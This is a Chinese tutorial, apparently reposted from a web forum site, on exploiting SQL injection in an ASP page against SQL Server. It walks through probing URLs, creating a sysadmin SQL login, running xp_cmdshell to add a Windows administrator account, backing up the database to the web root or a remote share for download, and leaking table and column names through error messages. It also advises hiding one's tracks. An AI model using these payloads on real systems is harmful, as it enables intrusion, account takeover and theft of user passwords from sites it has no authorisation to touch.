利用SQL注入,通过dbo获得SQL管理权限和系统权限
来源:Asp之家 发布时间:2010-08-12 18:51:00
我做了如下测试:(1) http://www.xxx.com/new/new.asp?id=49’
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中。
/new.asp,行36
(2) http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回页面)
(3) http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.asp,行42
注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.asp?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 ”dbo” 转换数据类型为 int 的列时发生语法错误
/new.asp,行42
注:如果显示“dbo” 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是“abc” 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。
获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。
(1) http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用户
(2) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM
(3) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--
提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)
(4) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)
(5) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--
把帐号FMZM加入到管理员组
OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.
附:(1) http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
(2) http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
(3) http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。
(4) http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从(3)拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。


猜你喜欢
- 子曰:三思而后行。意思就是说表示多次。指经过反复考虑,然后再去做。网页title对SEO越来越重要,这点相信大家应该都清楚,所以现在很多SE
- 由于各种原因,我们有时候需要在一个IP地址上建立多个web站点,在IIS5中,我们可能通过简单的设置达到这个目标.在IIS中,每个 Web
- Docker 是一个强大的工具,允许开发人员将他们的应用程序打包在容器中可以在任何平台上轻松部署和运行。在对 Spring Boot 应用程
- 建站的朋友在Godaddy上注册了域名,绑定免费空间,进行测试程序,现在购买了新空间,要取消免费空间与域名的绑定,该如何删除Godaddy免
- 说起电子邮箱,相信不少朋友都会有不下两三个吧?接下来我们将向你介绍如何用计算机来架设一个邮件服务器。一、下载安装WinMail1)首先有请我
- 最近美国有家专门为“Facebook”、“MySpace”等社交网站制作用户端插件的挨踢公司爆出被黑客使用SQL注入等攻击手段盗取3260万
- 执行apt-get install xxxx时,报以下错误E: There are problems and -y was used wit
- Mac自身带了apache,可以直接用来搭建本地web容器,配置过程基本同于windows,但有几个点需要注意一下(避免踩坑)apaches
- 到底谁是真正的“开心网”?这个问题现在只能交由法律来最终裁定。昨日上午,北京市二中院开庭审理北京开心人信息技术有限公司(kaixin001.
- 草根精神,一息尚存,奋斗到底!在这里首先向所有奋斗在草根前线的站长们道一声:你们辛苦了,没有你们每天的努力中国互联网不会向今天这样辉煌!网民
- 除了在未来互联网是否会完全取代传统媒体这个话题炙手可热之外,收费和免费的话题也是再掀波澜。记得马云说过,免费是最贵的服务,我想其中应该是一语
- 系统服务篇一1. 服务名称:Al
- 北京时间11月6日消息,据国外媒体报道,Ancestry.con本周四在纳斯达克上市,交易代码为“ACOM&rd
- 今天一个朋友问到Apache防盗链的效果以及破解Apache防盗链的问题,于是决定就写一写Apache的防盗链。找到Apache的配置文件,
- 怎样设置Godaddy域名的Google邮局呢?下面来自Google官方的教程:通过 http://www.godaddy.com 登录到您
- 前言Boost库是一个可移植、提供源代码的C++库,作为标准库的后备,是C++标准化进程的开发引擎之一。 Boost库由C++标准委员会库工
- “倾城”在WP中文模板区建议正文文字两端对齐,从而达到美化模板的目的。目前,对于英文文章,只需要设定 text-align:justify;
- 【权限篇】ubuntu系统中,对于不同用户及不同用户组中用户对文件的操作权限都不相同,通过控制台我们可以快速的对文件权限进行操作。对于修改权
- 小弟虽然没做百度联盟,但是我的几个站基本在靠着百度和GG的搜索带来流量,所以对K站这个问题很敏感,也有点小怕。最近连续看到一些帖子在讨论加入
- 一个人的发展要经过1 资金积累的打工阶段一般创业的人,都要经历这一阶段,毕业以后,或者是去了公司打工,或者是与别人合作一些小生意,这一阶段一